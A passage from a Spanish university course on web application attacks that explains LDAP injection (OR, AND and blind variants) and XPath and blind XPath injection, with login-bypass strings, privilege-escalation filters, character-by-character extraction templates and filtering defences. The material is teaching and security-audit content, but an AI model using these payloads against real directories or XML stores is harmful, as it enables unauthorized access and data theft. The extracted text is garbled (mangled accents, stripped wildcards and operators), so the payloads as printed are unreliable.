Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
